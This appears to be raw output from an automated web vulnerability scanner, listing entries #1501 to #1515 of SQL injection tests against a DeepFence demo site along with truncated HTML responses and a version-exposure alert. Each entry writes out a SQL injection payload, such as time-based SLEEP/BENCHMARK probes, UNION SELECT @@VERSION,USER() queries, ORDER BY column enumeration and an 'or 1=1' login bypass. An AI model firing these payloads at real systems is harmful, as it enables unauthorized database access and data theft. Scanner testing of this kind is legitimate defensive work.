iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1501
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1502
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1503
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1504
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1505
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1506
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin" or 1=1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1507
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1508
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName ValueDemoUser1# ORDER BY 6
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1509
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)+CHAR(65)+CHAR(113)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1510
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1511
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1512
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1513
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 14
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1514
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 8
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1515
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
